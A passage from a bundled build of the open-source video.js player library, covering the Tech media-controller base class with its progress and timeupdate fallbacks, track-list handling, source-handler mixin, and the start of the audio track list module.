  13129. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  13130. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  13131. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  13132. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  13133. var _component = _dereq_('../component');
  13134. var _component2 = _interopRequireDefault(_component);
  13135. var _tracksHtmlTrackElement = _dereq_('../tracks/html-track-element');
  13136. var _tracksHtmlTrackElement2 = _interopRequireDefault(_tracksHtmlTrackElement);
  13137. var _tracksHtmlTrackElementList = _dereq_('../tracks/html-track-element-list');
  13138. var _tracksHtmlTrackElementList2 = _interopRequireDefault(_tracksHtmlTrackElementList);
  13139. var _utilsMergeOptionsJs = _dereq_('../utils/merge-options.js');
  13140. var _utilsMergeOptionsJs2 = _interopRequireDefault(_utilsMergeOptionsJs);
  13141. var _tracksTextTrack = _dereq_('../tracks/text-track');
  13142. var _tracksTextTrack2 = _interopRequireDefault(_tracksTextTrack);
  13143. var _tracksTextTrackList = _dereq_('../tracks/text-track-list');
  13144. var _tracksTextTrackList2 = _interopRequireDefault(_tracksTextTrackList);
  13145. var _tracksVideoTrack = _dereq_('../tracks/video-track');
  13146. var _tracksVideoTrack2 = _interopRequireDefault(_tracksVideoTrack);
  13147. var _tracksVideoTrackList = _dereq_('../tracks/video-track-list');
  13148. var _tracksVideoTrackList2 = _interopRequireDefault(_tracksVideoTrackList);
  13149. var _tracksAudioTrackList = _dereq_('../tracks/audio-track-list');
  13150. var _tracksAudioTrackList2 = _interopRequireDefault(_tracksAudioTrackList);
  13151. var _tracksAudioTrack = _dereq_('../tracks/audio-track');
  13152. var _tracksAudioTrack2 = _interopRequireDefault(_tracksAudioTrack);
  13153. var _utilsFnJs = _dereq_('../utils/fn.js');
  13154. var Fn = _interopRequireWildcard(_utilsFnJs);
  13155. var _utilsLogJs = _dereq_('../utils/log.js');
  13156. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  13157. var _utilsTimeRangesJs = _dereq_('../utils/time-ranges.js');
  13158. var _utilsBufferJs = _dereq_('../utils/buffer.js');
  13159. var _mediaErrorJs = _dereq_('../media-error.js');
  13160. var _mediaErrorJs2 = _interopRequireDefault(_mediaErrorJs);
  13161. var _globalWindow = _dereq_('global/window');
  13162. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  13163. var _globalDocument = _dereq_('global/document');
  13164. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  13165. /**
  13166. * Base class for media (HTML5 Video, Flash) controllers
  13167. *
  13168. * @param {Object=} options Options object
  13169. * @param {Function=} ready Ready callback function
  13170. * @extends Component
  13171. * @class Tech
  13172. */
  13173. var Tech = (function (_Component) {
  13174. _inherits(Tech, _Component);
  13175. function Tech() {
  13176. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  13177. var ready = arguments.length <= 1 || arguments[1] === undefined ? function () {} : arguments[1];
  13178. _classCallCheck(this, Tech);
  13179. // we don't want the tech to report user activity automatically.
  13180. // This is done manually in addControlsListeners
  13181. options.reportTouchActivity = false;
  13182. _Component.call(this, null, options, ready);
  13183. // keep track of whether the current source has played at all to
  13184. // implement a very limited played()
  13185. this.hasStarted_ = false;
  13186. this.on('playing', function () {
  13187. this.hasStarted_ = true;
  13188. });
  13189. this.on('loadstart', function () {
  13190. this.hasStarted_ = false;
  13191. });
  13192. this.textTracks_ = options.textTracks;
  13193. this.videoTracks_ = options.videoTracks;
  13194. this.audioTracks_ = options.audioTracks;
  13195. // Manually track progress in cases where the browser/flash player doesn't report it.
  13196. if (!this.featuresProgressEvents) {
  13197. this.manualProgressOn();
  13198. }
  13199. // Manually track timeupdates in cases where the browser/flash player doesn't report it.
  13200. if (!this.featuresTimeupdateEvents) {
  13201. this.manualTimeUpdatesOn();
  13202. }
  13203. if (options.nativeCaptions === false || options.nativeTextTracks === false) {
  13204. this.featuresNativeTextTracks = false;
  13205. }
  13206. if (!this.featuresNativeTextTracks) {
  13207. this.on('ready', this.emulateTextTracks);
  13208. }
  13209. this.initTextTrackListeners();
  13210. this.initTrackListeners();
  13211. // Turn on component tap events
  13212. this.emitTapEvents();
  13213. }
  13214. /**
  13215. * List of associated text tracks
  13216. *
  13217. * @type {TextTrackList}
  13218. * @private
  13219. */
  13220. /* Fallbacks for unsupported event types
  13221. ================================================================================ */
  13222. // Manually trigger progress events based on changes to the buffered amount
  13223. // Many flash players and older HTML5 browsers don't send progress or progress-like events
  13224. /**
  13225. * Turn on progress events
  13226. *
  13227. * @method manualProgressOn
  13228. */
  13229. Tech.prototype.manualProgressOn = function manualProgressOn() {
  13230. this.on('durationchange', this.onDurationChange);
  13231. this.manualProgress = true;
  13232. // Trigger progress watching when a source begins loading
  13233. this.one('ready', this.trackProgress);
  13234. };
  13235. /**
  13236. * Turn off progress events
  13237. *
  13238. * @method manualProgressOff
  13239. */
  13240. Tech.prototype.manualProgressOff = function manualProgressOff() {
  13241. this.manualProgress = false;
  13242. this.stopTrackingProgress();
  13243. this.off('durationchange', this.onDurationChange);
  13244. };
  13245. /**
  13246. * Track progress
  13247. *
  13248. * @method trackProgress
  13249. */
  13250. Tech.prototype.trackProgress = function trackProgress() {
  13251. this.stopTrackingProgress();
  13252. this.progressInterval = this.setInterval(Fn.bind(this, function () {
  13253. // Don't trigger unless buffered amount is greater than last time
  13254. var numBufferedPercent = this.bufferedPercent();
  13255. if (this.bufferedPercent_ !== numBufferedPercent) {
  13256. this.trigger('progress');
  13257. }
  13258. this.bufferedPercent_ = numBufferedPercent;
  13259. if (numBufferedPercent === 1) {
  13260. this.stopTrackingProgress();
  13261. }
  13262. }), 500);
  13263. };
  13264. /**
  13265. * Update duration
  13266. *
  13267. * @method onDurationChange
  13268. */
  13269. Tech.prototype.onDurationChange = function onDurationChange() {
  13270. this.duration_ = this.duration();
  13271. };
  13272. /**
  13273. * Create and get TimeRange object for buffering
  13274. *
  13275. * @return {TimeRangeObject}
  13276. * @method buffered
  13277. */
  13278. Tech.prototype.buffered = function buffered() {
  13279. return _utilsTimeRangesJs.createTimeRange(0, 0);
  13280. };
  13281. /**
  13282. * Get buffered percent
  13283. *
  13284. * @return {Number}
  13285. * @method bufferedPercent
  13286. */
  13287. Tech.prototype.bufferedPercent = function bufferedPercent() {
  13288. return _utilsBufferJs.bufferedPercent(this.buffered(), this.duration_);
  13289. };
  13290. /**
  13291. * Stops tracking progress by clearing progress interval
  13292. *
  13293. * @method stopTrackingProgress
  13294. */
  13295. Tech.prototype.stopTrackingProgress = function stopTrackingProgress() {
  13296. this.clearInterval(this.progressInterval);
  13297. };
  13298. /*! Time Tracking -------------------------------------------------------------- */
  13299. /**
  13300. * Set event listeners for on play and pause and tracking current time
  13301. *
  13302. * @method manualTimeUpdatesOn
  13303. */
  13304. Tech.prototype.manualTimeUpdatesOn = function manualTimeUpdatesOn() {
  13305. this.manualTimeUpdates = true;
  13306. this.on('play', this.trackCurrentTime);
  13307. this.on('pause', this.stopTrackingCurrentTime);
  13308. };
  13309. /**
  13310. * Remove event listeners for on play and pause and tracking current time
  13311. *
  13312. * @method manualTimeUpdatesOff
  13313. */
  13314. Tech.prototype.manualTimeUpdatesOff = function manualTimeUpdatesOff() {
  13315. this.manualTimeUpdates = false;
  13316. this.stopTrackingCurrentTime();
  13317. this.off('play', this.trackCurrentTime);
  13318. this.off('pause', this.stopTrackingCurrentTime);
  13319. };
  13320. /**
  13321. * Tracks current time
  13322. *
  13323. * @method trackCurrentTime
  13324. */
  13325. Tech.prototype.trackCurrentTime = function trackCurrentTime() {
  13326. if (this.currentTimeInterval) {
  13327. this.stopTrackingCurrentTime();
  13328. }
  13329. this.currentTimeInterval = this.setInterval(function () {
  13330. this.trigger({ type: 'timeupdate', target: this, manuallyTriggered: true });
  13331. }, 250); // 42 = 24 fps // 250 is what Webkit uses // FF uses 15
  13332. };
  13333. /**
  13334. * Turn off play progress tracking (when paused or dragging)
  13335. *
  13336. * @method stopTrackingCurrentTime
  13337. */
  13338. Tech.prototype.stopTrackingCurrentTime = function stopTrackingCurrentTime() {
  13339. this.clearInterval(this.currentTimeInterval);
  13340. // #1002 - if the video ends right before the next timeupdate would happen,
  13341. // the progress bar won't make it all the way to the end
  13342. this.trigger({ type: 'timeupdate', target: this, manuallyTriggered: true });
  13343. };
  13344. /**
  13345. * Turn off any manual progress or timeupdate tracking
  13346. *
  13347. * @method dispose
  13348. */
  13349. Tech.prototype.dispose = function dispose() {
  13350. // clear out all tracks because we can't reuse them between techs
  13351. this.clearTracks(['audio', 'video', 'text']);
  13352. // Turn off any manual progress or timeupdate tracking
  13353. if (this.manualProgress) {
  13354. this.manualProgressOff();
  13355. }
  13356. if (this.manualTimeUpdates) {
  13357. this.manualTimeUpdatesOff();
  13358. }
  13359. _Component.prototype.dispose.call(this);
  13360. };
  13361. /**
  13362. * clear out a track list, or multiple track lists
  13363. *
  13364. * Note: Techs without source handlers should call this between
  13365. * sources for video & audio tracks, as usually you don't want
  13366. * to use them between tracks and we have no automatic way to do
  13367. * it for you
  13368. *
  13369. * @method clearTracks
  13370. * @param {Array|String} types type(s) of track lists to empty
  13371. */
  13372. Tech.prototype.clearTracks = function clearTracks(types) {
  13373. var _this = this;
  13374. types = [].concat(types);
  13375. // clear out all tracks because we can't reuse them between techs
  13376. types.forEach(function (type) {
  13377. var list = _this[type + 'Tracks']() || [];
  13378. var i = list.length;
  13379. while (i--) {
  13380. var track = list[i];
  13381. if (type === 'text') {
  13382. _this.removeRemoteTextTrack(track);
  13383. }
  13384. list.removeTrack_(track);
  13385. }
  13386. });
  13387. };
  13388. /**
  13389. * Reset the tech. Removes all sources and resets readyState.
  13390. *
  13391. * @method reset
  13392. */
  13393. Tech.prototype.reset = function reset() {};
  13394. /**
  13395. * When invoked without an argument, returns a MediaError object
  13396. * representing the current error state of the player or null if
  13397. * there is no error. When invoked with an argument, set the current
  13398. * error state of the player.
  13399. * @param {MediaError=} err Optional an error object
  13400. * @return {MediaError} the current error object or null
  13401. * @method error
  13402. */
  13403. Tech.prototype.error = function error(err) {
  13404. if (err !== undefined) {
  13405. this.error_ = new _mediaErrorJs2['default'](err);
  13406. this.trigger('error');
  13407. }
  13408. return this.error_;
  13409. };
  13410. /**
  13411. * Return the time ranges that have been played through for the
  13412. * current source. This implementation is incomplete. It does not
  13413. * track the played time ranges, only whether the source has played
  13414. * at all or not.
  13415. * @return {TimeRangeObject} a single time range if this video has
  13416. * played or an empty set of ranges if not.
  13417. * @method played
  13418. */
  13419. Tech.prototype.played = function played() {
  13420. if (this.hasStarted_) {
  13421. return _utilsTimeRangesJs.createTimeRange(0, 0);
  13422. }
  13423. return _utilsTimeRangesJs.createTimeRange();
  13424. };
  13425. /**
  13426. * Set current time
  13427. *
  13428. * @method setCurrentTime
  13429. */
  13430. Tech.prototype.setCurrentTime = function setCurrentTime() {
  13431. // improve the accuracy of manual timeupdates
  13432. if (this.manualTimeUpdates) {
  13433. this.trigger({ type: 'timeupdate', target: this, manuallyTriggered: true });
  13434. }
  13435. };
  13436. /**
  13437. * Initialize texttrack listeners
  13438. *
  13439. * @method initTextTrackListeners
  13440. */
  13441. Tech.prototype.initTextTrackListeners = function initTextTrackListeners() {
  13442. var textTrackListChanges = Fn.bind(this, function () {
  13443. this.trigger('texttrackchange');
  13444. });
  13445. var tracks = this.textTracks();
  13446. if (!tracks) return;
  13447. tracks.addEventListener('removetrack', textTrackListChanges);
  13448. tracks.addEventListener('addtrack', textTrackListChanges);
  13449. this.on('dispose', Fn.bind(this, function () {
  13450. tracks.removeEventListener('removetrack', textTrackListChanges);
  13451. tracks.removeEventListener('addtrack', textTrackListChanges);
  13452. }));
  13453. };
  13454. /**
  13455. * Initialize audio and video track listeners
  13456. *
  13457. * @method initTrackListeners
  13458. */
  13459. Tech.prototype.initTrackListeners = function initTrackListeners() {
  13460. var _this2 = this;
  13461. var trackTypes = ['video', 'audio'];
  13462. trackTypes.forEach(function (type) {
  13463. var trackListChanges = function trackListChanges() {
  13464. _this2.trigger(type + 'trackchange');
  13465. };
  13466. var tracks = _this2[type + 'Tracks']();
  13467. tracks.addEventListener('removetrack', trackListChanges);
  13468. tracks.addEventListener('addtrack', trackListChanges);
  13469. _this2.on('dispose', function () {
  13470. tracks.removeEventListener('removetrack', trackListChanges);
  13471. tracks.removeEventListener('addtrack', trackListChanges);
  13472. });
  13473. });
  13474. };
  13475. /**
  13476. * Emulate texttracks
  13477. *
  13478. * @method emulateTextTracks
  13479. */
  13480. Tech.prototype.emulateTextTracks = function emulateTextTracks() {
  13481. var _this3 = this;
  13482. var tracks = this.textTracks();
  13483. if (!tracks) {
  13484. return;
  13485. }
  13486. if (!_globalWindow2['default']['WebVTT'] && this.el().parentNode != null) {
  13487. (function () {
  13488. var script = _globalDocument2['default'].createElement('script');
  13489. script.src = _this3.options_['vtt.js'] || 'https://cdn.rawgit.com/gkatsev/vtt.js/vjs-v0.12.1/dist/vtt.min.js';
  13490. script.onload = function () {
  13491. _this3.trigger('vttjsloaded');
  13492. };
  13493. script.onerror = function () {
  13494. _this3.trigger('vttjserror');
  13495. };
  13496. _this3.on('dispose', function () {
  13497. script.onload = null;
  13498. script.onerror = null;
  13499. });
  13500. // but have not loaded yet and we set it to true before the inject so that
  13501. // we don't overwrite the injected window.WebVTT if it loads right away
  13502. _globalWindow2['default']['WebVTT'] = true;
  13503. _this3.el().parentNode.appendChild(script);
  13504. })();
  13505. }
  13506. var updateDisplay = function updateDisplay() {
  13507. return _this3.trigger('texttrackchange');
  13508. };
  13509. var textTracksChanges = function textTracksChanges() {
  13510. updateDisplay();
  13511. for (var i = 0; i < tracks.length; i++) {
  13512. var track = tracks[i];
  13513. track.removeEventListener('cuechange', updateDisplay);
  13514. if (track.mode === 'showing') {
  13515. track.addEventListener('cuechange', updateDisplay);
  13516. }
  13517. }
  13518. };
  13519. textTracksChanges();
  13520. tracks.addEventListener('change', textTracksChanges);
  13521. this.on('dispose', function () {
  13522. tracks.removeEventListener('change', textTracksChanges);
  13523. });
  13524. };
  13525. /**
  13526. * Get videotracks
  13527. *
  13528. * @returns {VideoTrackList}
  13529. * @method videoTracks
  13530. */
  13531. Tech.prototype.videoTracks = function videoTracks() {
  13532. this.videoTracks_ = this.videoTracks_ || new _tracksVideoTrackList2['default']();
  13533. return this.videoTracks_;
  13534. };
  13535. /**
  13536. * Get audiotracklist
  13537. *
  13538. * @returns {AudioTrackList}
  13539. * @method audioTracks
  13540. */
  13541. Tech.prototype.audioTracks = function audioTracks() {
  13542. this.audioTracks_ = this.audioTracks_ || new _tracksAudioTrackList2['default']();
  13543. return this.audioTracks_;
  13544. };
  13545. /*
  13546. * Provide default methods for text tracks.
  13547. *
  13548. * Html5 tech overrides these.
  13549. */
  13550. /**
  13551. * Get texttracks
  13552. *
  13553. * @returns {TextTrackList}
  13554. * @method textTracks
  13555. */
  13556. Tech.prototype.textTracks = function textTracks() {
  13557. this.textTracks_ = this.textTracks_ || new _tracksTextTrackList2['default']();
  13558. return this.textTracks_;
  13559. };
  13560. /**
  13561. * Get remote texttracks
  13562. *
  13563. * @returns {TextTrackList}
  13564. * @method remoteTextTracks
  13565. */
  13566. Tech.prototype.remoteTextTracks = function remoteTextTracks() {
  13567. this.remoteTextTracks_ = this.remoteTextTracks_ || new _tracksTextTrackList2['default']();
  13568. return this.remoteTextTracks_;
  13569. };
  13570. /**
  13571. * Get remote htmltrackelements
  13572. *
  13573. * @returns {HTMLTrackElementList}
  13574. * @method remoteTextTrackEls
  13575. */
  13576. Tech.prototype.remoteTextTrackEls = function remoteTextTrackEls() {
  13577. this.remoteTextTrackEls_ = this.remoteTextTrackEls_ || new _tracksHtmlTrackElementList2['default']();
  13578. return this.remoteTextTrackEls_;
  13579. };
  13580. /**
  13581. * Creates and returns a remote text track object
  13582. *
  13583. * @param {String} kind Text track kind (subtitles, captions, descriptions
  13584. * chapters and metadata)
  13585. * @param {String=} label Label to identify the text track
  13586. * @param {String=} language Two letter language abbreviation
  13587. * @return {TextTrackObject}
  13588. * @method addTextTrack
  13589. */
  13590. Tech.prototype.addTextTrack = function addTextTrack(kind, label, language) {
  13591. if (!kind) {
  13592. throw new Error('TextTrack kind is required but was not provided');
  13593. }
  13594. return createTrackHelper(this, kind, label, language);
  13595. };
  13596. /**
  13597. * Creates a remote text track object and returns a emulated html track element
  13598. *
  13599. * @param {Object} options The object should contain values for
  13600. * kind, language, label and src (location of the WebVTT file)
  13601. * @return {HTMLTrackElement}
  13602. * @method addRemoteTextTrack
  13603. */
  13604. Tech.prototype.addRemoteTextTrack = function addRemoteTextTrack(options) {
  13605. var track = _utilsMergeOptionsJs2['default'](options, {
  13606. tech: this
  13607. });
  13608. var htmlTrackElement = new _tracksHtmlTrackElement2['default'](track);
  13609. // store HTMLTrackElement and TextTrack to remote list
  13610. this.remoteTextTrackEls().addTrackElement_(htmlTrackElement);
  13611. this.remoteTextTracks().addTrack_(htmlTrackElement.track);
  13612. // must come after remoteTextTracks()
  13613. this.textTracks().addTrack_(htmlTrackElement.track);
  13614. return htmlTrackElement;
  13615. };
  13616. /**
  13617. * Remove remote texttrack
  13618. *
  13619. * @param {TextTrackObject} track Texttrack to remove
  13620. * @method removeRemoteTextTrack
  13621. */
  13622. Tech.prototype.removeRemoteTextTrack = function removeRemoteTextTrack(track) {
  13623. this.textTracks().removeTrack_(track);
  13624. var trackElement = this.remoteTextTrackEls().getTrackElementByTrack_(track);
  13625. // remove HTMLTrackElement and TextTrack from remote list
  13626. this.remoteTextTrackEls().removeTrackElement_(trackElement);
  13627. this.remoteTextTracks().removeTrack_(track);
  13628. };
  13629. /**
  13630. * Provide a default setPoster method for techs
  13631. * Poster support for techs should be optional, so we don't want techs to
  13632. * break if they don't have a way to set a poster.
  13633. *
  13634. * @method setPoster
  13635. */
  13636. Tech.prototype.setPoster = function setPoster() {};
  13637. /*
  13638. * Check if the tech can support the given type
  13639. *
  13640. * The base tech does not support any type, but source handlers might
  13641. * overwrite this.
  13642. *
  13643. * @param {String} type The mimetype to check
  13644. * @return {String} 'probably', 'maybe', or '' (empty string)
  13645. */
  13646. Tech.prototype.canPlayType = function canPlayType() {
  13647. return '';
  13648. };
  13649. /*
  13650. * Return whether the argument is a Tech or not.
  13651. * Can be passed either a Class like `Html5` or a instance like `player.tech_`
  13652. *
  13653. * @param {Object} component An item to check
  13654. * @return {Boolean} Whether it is a tech or not
  13655. */
  13656. Tech.isTech = function isTech(component) {
  13657. return component.prototype instanceof Tech || component instanceof Tech || component === Tech;
  13658. };
  13659. /**
  13660. * Registers a Tech
  13661. *
  13662. * @param {String} name Name of the Tech to register
  13663. * @param {Object} tech The tech to register
  13664. * @static
  13665. * @method registerComponent
  13666. */
  13667. Tech.registerTech = function registerTech(name, tech) {
  13668. if (!Tech.techs_) {
  13669. Tech.techs_ = {};
  13670. }
  13671. if (!Tech.isTech(tech)) {
  13672. throw new Error('Tech ' + name + ' must be a Tech');
  13673. }
  13674. Tech.techs_[name] = tech;
  13675. return tech;
  13676. };
  13677. /**
  13678. * Gets a component by name
  13679. *
  13680. * @param {String} name Name of the component to get
  13681. * @return {Component}
  13682. * @static
  13683. * @method getComponent
  13684. */
  13685. Tech.getTech = function getTech(name) {
  13686. if (Tech.techs_ && Tech.techs_[name]) {
  13687. return Tech.techs_[name];
  13688. }
  13689. if (_globalWindow2['default'] && _globalWindow2['default'].videojs && _globalWindow2['default'].videojs[name]) {
  13690. _utilsLogJs2['default'].warn('The ' + name + ' tech was added to the videojs object when it should be registered using videojs.registerTech(name, tech)');
  13691. return _globalWindow2['default'].videojs[name];
  13692. }
  13693. };
  13694. return Tech;
  13695. })(_component2['default']);
  13696. Tech.prototype.textTracks_;
  13697. /**
  13698. * List of associated audio tracks
  13699. *
  13700. * @type {AudioTrackList}
  13701. * @private
  13702. */
  13703. Tech.prototype.audioTracks_;
  13704. /**
  13705. * List of associated video tracks
  13706. *
  13707. * @type {VideoTrackList}
  13708. * @private
  13709. */
  13710. Tech.prototype.videoTracks_;
  13711. var createTrackHelper = function createTrackHelper(self, kind, label, language) {
  13712. var options = arguments.length <= 4 || arguments[4] === undefined ? {} : arguments[4];
  13713. var tracks = self.textTracks();
  13714. options.kind = kind;
  13715. if (label) {
  13716. options.label = label;
  13717. }
  13718. if (language) {
  13719. options.language = language;
  13720. }
  13721. options.tech = self;
  13722. var track = new _tracksTextTrack2['default'](options);
  13723. tracks.addTrack_(track);
  13724. return track;
  13725. };
  13726. Tech.prototype.featuresVolumeControl = true;
  13727. // Resizing plugins using request fullscreen reloads the plugin
  13728. Tech.prototype.featuresFullscreenResize = false;
  13729. Tech.prototype.featuresPlaybackRate = false;
  13730. // Optional events that we can manually mimic with timers
  13731. // currently not triggered by video-js-swf
  13732. Tech.prototype.featuresProgressEvents = false;
  13733. Tech.prototype.featuresTimeupdateEvents = false;
  13734. Tech.prototype.featuresNativeTextTracks = false;
  13735. /*
  13736. * A functional mixin for techs that want to use the Source Handler pattern.
  13737. *
  13738. * ##### EXAMPLE:
  13739. *
  13740. * Tech.withSourceHandlers.call(MyTech);
  13741. *
  13742. */
  13743. Tech.withSourceHandlers = function (_Tech) {
  13744. /*
  13745. * Register a source handler
  13746. * Source handlers are scripts for handling specific formats.
  13747. * The source handler pattern is used for adaptive formats (HLS, DASH) that
  13748. * manually load video data and feed it into a Source Buffer (Media Source Extensions)
  13749. * @param {Function} handler The source handler
  13750. * @param {Boolean} first Register it before any existing handlers
  13751. */
  13752. _Tech.registerSourceHandler = function (handler, index) {
  13753. var handlers = _Tech.sourceHandlers;
  13754. if (!handlers) {
  13755. handlers = _Tech.sourceHandlers = [];
  13756. }
  13757. if (index === undefined) {
  13758. // add to the end of the list
  13759. index = handlers.length;
  13760. }
  13761. handlers.splice(index, 0, handler);
  13762. };
  13763. /*
  13764. * Check if the tech can support the given type
  13765. * @param {String} type The mimetype to check
  13766. * @return {String} 'probably', 'maybe', or '' (empty string)
  13767. */
  13768. _Tech.canPlayType = function (type) {
  13769. var handlers = _Tech.sourceHandlers || [];
  13770. var can = undefined;
  13771. for (var i = 0; i < handlers.length; i++) {
  13772. can = handlers[i].canPlayType(type);
  13773. if (can) {
  13774. return can;
  13775. }
  13776. }
  13777. return '';
  13778. };
  13779. /*
  13780. * Return the first source handler that supports the source
  13781. * TODO: Answer question: should 'probably' be prioritized over 'maybe'
  13782. * @param {Object} source The source object
  13783. * @param {Object} options The options passed to the tech
  13784. * @returns {Object} The first source handler that supports the source
  13785. * @returns {null} Null if no source handler is found
  13786. */
  13787. _Tech.selectSourceHandler = function (source, options) {
  13788. var handlers = _Tech.sourceHandlers || [];
  13789. var can = undefined;
  13790. for (var i = 0; i < handlers.length; i++) {
  13791. can = handlers[i].canHandleSource(source, options);
  13792. if (can) {
  13793. return handlers[i];
  13794. }
  13795. }
  13796. return null;
  13797. };
  13798. /*
  13799. * Check if the tech can support the given source
  13800. * @param {Object} srcObj The source object
  13801. * @param {Object} options The options passed to the tech
  13802. * @return {String} 'probably', 'maybe', or '' (empty string)
  13803. */
  13804. _Tech.canPlaySource = function (srcObj, options) {
  13805. var sh = _Tech.selectSourceHandler(srcObj, options);
  13806. if (sh) {
  13807. return sh.canHandleSource(srcObj, options);
  13808. }
  13809. return '';
  13810. };
  13811. /*
  13812. * When using a source handler, prefer its implementation of
  13813. * any function normally provided by the tech.
  13814. */
  13815. var deferrable = ['seekable', 'duration'];
  13816. deferrable.forEach(function (fnName) {
  13817. var originalFn = this[fnName];
  13818. if (typeof originalFn !== 'function') {
  13819. return;
  13820. }
  13821. this[fnName] = function () {
  13822. if (this.sourceHandler_ && this.sourceHandler_[fnName]) {
  13823. return this.sourceHandler_[fnName].apply(this.sourceHandler_, arguments);
  13824. }
  13825. return originalFn.apply(this, arguments);
  13826. };
  13827. }, _Tech.prototype);
  13828. /*
  13829. * Create a function for setting the source using a source object
  13830. * and source handlers.
  13831. * Should never be called unless a source handler was found.
  13832. * @param {Object} source A source object with src and type keys
  13833. * @return {Tech} self
  13834. */
  13835. _Tech.prototype.setSource = function (source) {
  13836. var sh = _Tech.selectSourceHandler(source, this.options_);
  13837. if (!sh) {
  13838. // Fall back to a native source hander when unsupported sources are
  13839. // deliberately set
  13840. if (_Tech.nativeSourceHandler) {
  13841. sh = _Tech.nativeSourceHandler;
  13842. } else {
  13843. _utilsLogJs2['default'].error('No source hander found for the current source.');
  13844. }
  13845. }
  13846. // Dispose any existing source handler
  13847. this.disposeSourceHandler();
  13848. this.off('dispose', this.disposeSourceHandler);
  13849. // if we have a source and get another one
  13850. // then we are loading something new
  13851. // than clear all of our current tracks
  13852. if (this.currentSource_) {
  13853. this.clearTracks(['audio', 'video']);
  13854. this.currentSource_ = null;
  13855. }
  13856. if (sh !== _Tech.nativeSourceHandler) {
  13857. this.currentSource_ = source;
  13858. // Catch if someone replaced the src without calling setSource.
  13859. // If they do, set currentSource_ to null and dispose our source handler.
  13860. this.off(this.el_, 'loadstart', _Tech.prototype.firstLoadStartListener_);
  13861. this.off(this.el_, 'loadstart', _Tech.prototype.successiveLoadStartListener_);
  13862. this.one(this.el_, 'loadstart', _Tech.prototype.firstLoadStartListener_);
  13863. }
  13864. this.sourceHandler_ = sh.handleSource(source, this, this.options_);
  13865. this.on('dispose', this.disposeSourceHandler);
  13866. return this;
  13867. };
  13868. // On the first loadstart after setSource
  13869. _Tech.prototype.firstLoadStartListener_ = function () {
  13870. this.one(this.el_, 'loadstart', _Tech.prototype.successiveLoadStartListener_);
  13871. };
  13872. // On successive loadstarts when setSource has not been called again
  13873. _Tech.prototype.successiveLoadStartListener_ = function () {
  13874. this.currentSource_ = null;
  13875. this.disposeSourceHandler();
  13876. this.one(this.el_, 'loadstart', _Tech.prototype.successiveLoadStartListener_);
  13877. };
  13878. /*
  13879. * Clean up any existing source handler
  13880. */
  13881. _Tech.prototype.disposeSourceHandler = function () {
  13882. if (this.sourceHandler_ && this.sourceHandler_.dispose) {
  13883. this.off(this.el_, 'loadstart', _Tech.prototype.firstLoadStartListener_);
  13884. this.off(this.el_, 'loadstart', _Tech.prototype.successiveLoadStartListener_);
  13885. this.sourceHandler_.dispose();
  13886. this.sourceHandler_ = null;
  13887. }
  13888. };
  13889. };
  13890. _component2['default'].registerComponent('Tech', Tech);
  13891. // Old name for Tech
  13892. _component2['default'].registerComponent('MediaTechController', Tech);
  13893. Tech.registerTech('Tech', Tech);
  13894. exports['default'] = Tech;
  13895. module.exports = exports['default'];
  13896. },{"../component":67,"../media-error.js":108,"../tracks/audio-track":126,"../tracks/audio-track-list":125,"../tracks/html-track-element":128,"../tracks/html-track-element-list":127,"../tracks/text-track":134,"../tracks/text-track-list":132,"../tracks/video-track":139,"../tracks/video-track-list":138,"../utils/buffer.js":141,"../utils/fn.js":144,"../utils/log.js":147,"../utils/merge-options.js":148,"../utils/time-ranges.js":150,"global/document":1,"global/window":2}],125:[function(_dereq_,module,exports){
  13897. /**
  13898. * @file audio-track-list.js
  13899. */
  13900. 'use strict';
  13901. exports.__esModule = true;
  13902. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  13903. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  13904. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  13905. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  13906. var _trackList = _dereq_('./track-list');
  13907. var _trackList2 = _interopRequireDefault(_trackList);
  13908. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  13909. var browser = _interopRequireWildcard(_utilsBrowserJs);
  13910. var _globalDocument = _dereq_('global/document');
  13911. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  13912. /**
  13913. * anywhere we call this function we diverge from the spec
  13914. * as we only support one enabled audiotrack at a time
  13915. *
  13916. * @param {Array|AudioTrackList} list list to work on
  13917. * @param {AudioTrack} track the track to skip
  13918. */
  13919. var disableOthers = function disableOthers(list, track) {
  13920. for (var i = 0; i < list.length; i++) {
  13921. if (track.id === list[i].id) {
  13922. continue;
  13923. }
  13924. // another audio track is enabled, disable it
  13925. list[i].enabled = false;
  13926. }
  13927. };
  13928. /**
  13929. * A list of possible audio tracks. All functionality is in the
  13930. * base class Tracklist and the spec for AudioTrackList is located at:
  13931. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#audiotracklist
  13932. *
  13933. * interface AudioTrackList : EventTarget {
  13934. * readonly attribute unsigned long length;
  13935. * getter AudioTrack (unsigned long index);
  13936. * AudioTrack? getTrackById(DOMString id);
  13937. *
  13938. * attribute EventHandler onchange;
